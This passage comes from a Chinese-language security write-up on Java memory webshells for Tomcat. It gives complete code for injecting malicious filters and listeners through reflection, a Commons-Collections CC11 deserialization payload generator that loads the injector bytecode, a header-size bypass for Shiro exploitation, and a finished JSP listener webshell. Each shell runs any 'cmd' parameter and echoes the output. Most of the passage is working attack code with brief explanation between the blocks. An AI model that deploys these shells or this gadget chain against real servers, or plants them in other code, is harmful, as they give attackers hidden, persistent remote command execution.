              java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");    //获取modifiers字段
              modifiersField.setAccessible(true);   //将变量设置为可访问
              modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
              f.setAccessible(true);    //将变量设置为可访问
              if (!f.getBoolean(null)) {
                  f.setBoolean(null, true); //将变量设置为true
              }
  
              // 初始化 lastServicedRequest & lastServicedResponse
              c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
              f = c.getDeclaredField("lastServicedRequest");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
              f = c.getDeclaredField("lastServicedResponse");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  }
  

然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。

package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import javax.servlet.Filter;
  import javax.servlet.FilterChain;
  import javax.servlet.FilterConfig;
  import javax.servlet.ServletContext;
  import javax.servlet.ServletException;
  import javax.servlet.ServletRequest;
  import javax.servlet.ServletResponse;
  
  /**
   * @author threedr3am
   */
  public class TomcatInject extends AbstractTranslet implements Filter {
  
      /**
       * webshell命令参数名
       */
      private final String cmdParamName = "cmd";
      private final static String filterUrlPattern = "/*";
      private final static String filterName = "moon_flower";
  
      static {
          try {
              ServletContext servletContext = getServletContext();
              if (servletContext != null){
                  Field ctx = servletContext.getClass().getDeclaredField("context");
                          ctx.setAccessible(true);
                  ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
  
                  Field stdctx = appctx.getClass().getDeclaredField("context");
                  stdctx.setAccessible(true);
                  StandardContext standardContext = (StandardContext) stdctx.get(appctx);
  
                  if (standardContext != null){
                      // 这样设置不会抛出报错
                      Field stateField = org.apache.catalina.util.LifecycleBase.class
                              .getDeclaredField("state");
                      stateField.setAccessible(true);
                      stateField.set(standardContext, LifecycleState.STARTING_PREP);
  
                      Filter myFilter =new TomcatInject();
                      // 调用 doFilter 来动态添加我们的 Filter
                      // 这里也可以利用反射来添加我们的 Filter
                      javax.servlet.FilterRegistration.Dynamic filterRegistration =
                              servletContext.addFilter(filterName,myFilter);
  
                      // 进行一些简单的设置
                      filterRegistration.setInitParameter("encoding", "utf-8");
                      filterRegistration.setAsyncSupported(false);
                      // 设置基本的 url pattern
                      filterRegistration
                              .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                      new String[]{"/*"});
  
                      // 将服务重新修改回来,不然的话服务会无法正常进行
                      if (stateField != null){
                          stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
                      }
  
                      // 在设置之后我们需要 调用 filterstart
                      if (standardContext != null){
                          // 设置filter之后调用 filterstart 来启动我们的 filter
                          Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
                          filterStartMethod.setAccessible(true);
                          filterStartMethod.invoke(standardContext,null);
  
                          /**
                           * 将我们的 filtermap 插入到最前面
                           */
  
                          Class ccc = null;
                          try {
                              ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                          } catch (Throwable t){}
                          if (ccc == null) {
                              try {
                                  ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                              } catch (Throwable t){}
                          }
                          //把filter插到第一位
                          Method m = Class.forName("org.apache.catalina.core.StandardContext")
                                  .getDeclaredMethod("findFilterMaps");
                          Object[] filterMaps = (Object[]) m.invoke(standardContext);
                          Object[] tmpFilterMaps = new Object[filterMaps.length];
                          int index = 1;
                          for (int i = 0; i < filterMaps.length; i++) {
                              Object o = filterMaps[i];
                              m = ccc.getMethod("getFilterName");
                              String name = (String) m.invoke(o);
                              if (name.equalsIgnoreCase(filterName)) {
                                  tmpFilterMaps[0] = o;
                              } else {
                                  tmpFilterMaps[index++] = filterMaps[i];
                              }
                          }
                          for (int i = 0; i < filterMaps.length; i++) {
                              filterMaps[i] = tmpFilterMaps[i];
                          }
                      }
                  }
  
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  
      private static ServletContext getServletContext()
              throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
          ServletRequest servletRequest = null;
          /*shell注入,前提需要能拿到request、response等*/
          Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
          java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
          f.setAccessible(true);
          ThreadLocal threadLocal = (ThreadLocal) f.get(null);
          //不为空则意味着第一次反序列化的准备工作已成功
          if (threadLocal != null && threadLocal.get() != null) {
              servletRequest = (ServletRequest) threadLocal.get();
          }
          //如果不能去到request,则换一种方式尝试获取
  
          //spring获取法1
          if (servletRequest == null) {
              try {
                  c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                  Method m = c.getMethod("getRequestAttributes");
                  Object o = m.invoke(null);
                  c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                  m = c.getMethod("getRequest");
                  servletRequest = (ServletRequest) m.invoke(o);
              } catch (Throwable t) {}
          }
          if (servletRequest != null)
              return servletRequest.getServletContext();
  
          //spring获取法2
          try {
              c = Class.forName("org.springframework.web.context.ContextLoader");
              Method m = c.getMethod("getCurrentWebApplicationContext");
              Object o = m.invoke(null);
              c = Class.forName("org.springframework.web.context.WebApplicationContext");
              m = c.getMethod("getServletContext");
              ServletContext servletContext = (ServletContext) m.invoke(o);
              return servletContext;
          } catch (Throwable t) {}
          return null;
      }
  
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
  
      }
  
      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                           FilterChain filterChain) throws IOException, ServletException {
          System.out.println(
                  "TomcatShellInject doFilter.....................................................................");
          String cmd;
          if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
              Process process = Runtime.getRuntime().exec(cmd);
              java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                      new java.io.InputStreamReader(process.getInputStream()));
              StringBuilder stringBuilder = new StringBuilder();
              String line;
              while ((line = bufferedReader.readLine()) != null) {
                  stringBuilder.append(line + '\n');
              }
              servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
              servletResponse.getOutputStream().flush();
              servletResponse.getOutputStream().close();
              return;
          }
          filterChain.doFilter(servletRequest, servletResponse);
      }
  
      @Override
      public void destroy() {
  
      }
  }
  

至此,两部分的操作都已完成,下一步要做的就是通过 cc11 (只要能动态加载字节码的 cc链都可以)注入内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  import java.io.*;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.HashSet;
  
  @SuppressWarnings("all")
  public class CC11Template {
  
      public static void main(String[] args) throws Exception {
          byte[] bytes = getBytes();
          byte[][] targetByteCodes = new byte[][]{bytes};
          TemplatesImpl templates = TemplatesImpl.class.newInstance();
  
          Field f0 = templates.getClass().getDeclaredField("_bytecodes");
          f0.setAccessible(true);
          f0.set(templates,targetByteCodes);
  
          f0 = templates.getClass().getDeclaredField("_name");
          f0.setAccessible(true);
          f0.set(templates,"name");
  
          f0 = templates.getClass().getDeclaredField("_class");
          f0.setAccessible(true);
          f0.set(templates,null);
  
          // 利用反射调用 templates 中的 newTransformer 方法
          InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
          HashMap innermap = new HashMap();
          LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
          TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
          HashSet hashset = new HashSet(1);
          hashset.add("foo");
          // 我们要设置 HashSet 的 map 为我们的 HashMap
          Field f = null;
          try {
              f = HashSet.class.getDeclaredField("map");
          } catch (NoSuchFieldException e) {
              f = HashSet.class.getDeclaredField("backingMap");
          }
          f.setAccessible(true);
          HashMap hashset_map = (HashMap) f.get(hashset);
  
          Field f2 = null;
          try {
              f2 = HashMap.class.getDeclaredField("table");
          } catch (NoSuchFieldException e) {
              f2 = HashMap.class.getDeclaredField("elementData");
          }
  
          f2.setAccessible(true);
          Object[] array = (Object[])f2.get(hashset_map);
  
          Object node = array[0];
          if(node == null){
              node = array[1];
          }
          Field keyField = null;
          try{
              keyField = node.getClass().getDeclaredField("key");
          }catch(Exception e){
              keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
          keyField.setAccessible(true);
          keyField.set(node,tiedmap);
  
          // 在 invoke 之后,
          Field f3 = transformer.getClass().getDeclaredField("iMethodName");
          f3.setAccessible(true);
          f3.set(transformer,"newTransformer");
  
          try{
            //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
              ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
              outputStream.writeObject(hashset);
              outputStream.close();
  
          }catch(Exception e){
              e.printStackTrace();
          }
      }
  
      public static byte[] getBytes() throws IOException {
        //    第一次
  //        InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
        //  第二次  
        InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
  
          ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
          int n = 0;
          while ((n=inputStream.read())!=-1){
              byteArrayOutputStream.write(n);
          }
          byte[] bytes = byteArrayOutputStream.toByteArray();
          return bytes;
      }
  }

第一次注入:

image-20220216173237233

第二次注入:

image-20220216173252315

最后结果:

image-20220216173323270

  • 通过全局存储 Response回显


    基本上算是通用的了,大致思路就是找一个不受框架限制的变量,其中存储着 request 和 response,原作者 Litch1 师傅找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
    image-20220216194735403
    image-20220216195035724
    还是之前的 debug 方式,在 new Http11Processor 处下个断点,追一下调用栈,发现 new 完之后的东西存在 processor 中,那下一步要做的就是如何获得这个 processor
    image-20220216201513440
    跟进到 register 中,用 rp 存储了 processor 获取到的 RequestInfo,一层一层跟下去也就是拿了个 req,然后会把这个 rp 存在子类(ConnectionHandler)的 global 属性中
    image-20220216201606863
    final 属性,存入后不改变
    image-20220216203454617
    一直跟进到 addRequestProcessor 中,发现会直接 add 到数组中,也就是相当于添加到了 global 的 processors 中
    image-20220216203608608
    image-20220216203710316
    最后知道通过反射拿到 global 中的 processors 属性,就可以通过遍历 processors 获取到 Request 和 Reponse 了。
    而 global 属性是在 AbstractProtocol$ConnectoinHandler 中定义的,那么下一步就是找有没有地方存着 AbstractProtocol 或 它的子类,这里作者找到了 CoyoteAdapter 的 connector,
    image-20220216205136583
    看一下 Connector 这个类,其中有一个 protocolHandler 的接口,而 AbstractProtocol 是 ProtocolHandler 接口的实现类(ctrl + h 查看)
    image-20220216215231351
    那么现在的目标就是如何获取 Connector,在 Tomcat 启动过程中的 setConnector 会触发 addConnector 的操作,将 Connector 放入 Service 中,而 Service 为 StandardService
    image-20220216220237176
    至此的链子串起来就是
    StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
    

    关于双亲委派机制:(补的一点知识,和漏洞关系不大,可跳过)
    当一个类加载器收到类加载请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载,只有父加载器无法加载这个类的时候,才会由昂前这个加载器来负责类的加载。可以有效的避免类的重复加载,当父加载器已经加载过一个类时,子加载器就不会再重新加载这个类。在代码层的 loadClass 中实现。
    如何破坏双亲委派:
    自定义一个类加载器,重写其中的 loadClass 方法,使其不进行双亲委派。
    为什么 tomcat 要破坏双亲委派:
    Tomcat是 web 容器,那么一个 web 容器可能需要部署多个应用程序,多个应用程序可能会有多个版本的库,这些库中的代码实现可能会不同,但是通过双亲委派要加载的类确实相同的,这就会导致不同版本的库实例化的类时相同的,就会 G。
    关于 tomcat 的隔离机制:
    不是传统的双亲委派机制,而是每个 WebApp 用一个独有的 ClassLoader(WebappClassLoader) 实例来优先处理加载,并不会传递给父加载器。
    如果使用 Thread Context ClassLoader(线程上下文类加载器),Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器,如果没有 setContextClassLoader(ClassLoader cl) 方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于 Tomcat 来说 ContextClassLoader 被设置为 WebAppClassLoader。
    也就是说 WebAppClassLoaderBase 就是我们寻找的 Thread 和 Tomcat 运行上下文的联系之一。
    poc:(参考木头师傅)
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class TomcatMemShellInject extends AbstractTranslet implements Filter {
    
        private final String cmdParamName = "cmd";
        private final static String filterUrlPattern = "/*";
        private final static String filterName = "evilFilter";
    
        static {
            try {
    
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
    
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                ServletContext servletContext = standardContext.getServletContext();
    
                Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
                // 如果我们filter的名字不存在那么就进行注入
                if (filterConfigs.get(filterName) == null){
                    // 将自己作为 Filter 进行注入
    
                    Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                    // 添加恶意 filter
                    Filter MemShell = new TomcatMemShellInject();
    
                    FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, MemShell);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false,
                                    new String[]{filterUrlPattern});
    
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null){
                        Method filterStartMethod = StandardContext.class
                                .getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
    
    
                        Method m = c.getMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
    
                    }
                }
    
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            System.out.println("Do Filter ......");
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

     
  • Shiro 中的内存马注入


    首先考虑回显方式,如果是利用 ApplicationFilterChain 获取回显,在 set 之前执行完了所有的 Filter,对于 shiro 的反序列化利用就打不通,所以考虑用拿 response 全局变量的方式,但这种情况会衍生出新的问题:接收的最大http头部大小为8192,而Cookie 过长。
    第一种思路是通过修改 Tomcat Header 的 maxsize 来进行绕过。
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    @SuppressWarnings("all")
    public class TomcatHeaderSize extends AbstractTranslet {
    
        static {
            try {
                java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
                java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
                java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
                java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                contextField.setAccessible(true);
                headerSizeField.setAccessible(true);
                serviceField.setAccessible(true);
                requestField.setAccessible(true);
                getHandlerMethod.setAccessible(true);
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
                org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
                org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
                for (int i = 0; i < connectors.length; i++) {
                    if (4 == connectors[i].getScheme().length()) {
                        org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                        if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                            Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                            for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                                if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                    java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                    globalField.setAccessible(true);
                                    processorsField.setAccessible(true);
                                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                    for (int k = 0; k < list.size(); k++) {
                                        org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                      // 10000 为修改后的 headersize 
                                        headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                    }
                                }
                            }
                             // 10000 为修改后的 headersize 
                            ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                        }
                    }
                }
            } catch (Exception e) {
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    

    第二种思路就是将 class bytes使用 gzip+base64 压缩编码,就是强行压缩,就不复现了。
    第三种思路是从 post 请求体中发送字节码数据。
    但并不是借助 filter 注入,而是反序列化一个 MyClassLoader,在静态代码块中获取了 Spring Boot上下文里的 request ,response 和 session,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session三个对象。
    但是只限于 springboot + shiro 环境,在 tomcat 下会失败,因为 request 对象是从 Sprint Boot 上下文中获取,而 tomcat 中并没有。
  • 参考文献


和 Filter 内存马相似,都是在程序执行前要执行的部分中添加马(或者说动态注册恶意方法),只不过这个是加载 Listener 中而达到文件不落地并执行命令的目的。

Listener主要分为以下三个大类:

  • ServletContext监听(服务器的启动跟停止时触发)
  • Session监听(Session的建立跟销毁时触发)
  • Request监听(访问服务时触发)

然后就是要想办法创建一个合适的 Listener,并获取到本次请求的 request 对象。

这里用到的是 ServletRequestListener,接收的参数类型是 ServletRequestEvent

demo:

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("DONE!!!");
    }
}

找一下 ServletRequestEvent 中能不能获取到 request,发现 getServletRequest

image-20220209230023814

其中的 request 属性中有我们需要 Request,可以之间反射获取。

public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

找到地方添加恶意逻辑了,下一步就是如何注册这个 Listener。

先看一下 Listener 的注册流程,首先进入 StandardContext#listenerStart

image-20220209234702534

拿到了 Listener 的名字

image-20220209234755823

然后遍历 listeners 数组,实例化 Listener 并把返回结果放到 results 中

image-20220209234859367

注意这里是先用 getApplicationEventListeners 获取 applicationEventListenersList(即已注册的 Listener),然后调用 setApplicationEventListeners,在 setApplicationEventListeners 中先清空了 applicationEventListenersList,然后重新传入。

image-20220209235657171

Listener 已经注册好了,在命令执行部分打个断点跟一下调用栈

image-20220209233649376

调用的 Listener 来自 this.getApplicationEventListeners()

image-20220209233638879

所以我们的内存马只需要添加到这个数组里面就可以了。

先获取 StandardContext 对象

    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

调用 getApplicationEventListeners 将 applicationEventListenersList ,然后添加恶意的 listener

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

最后的马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = 
        
        applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

 

参考文献: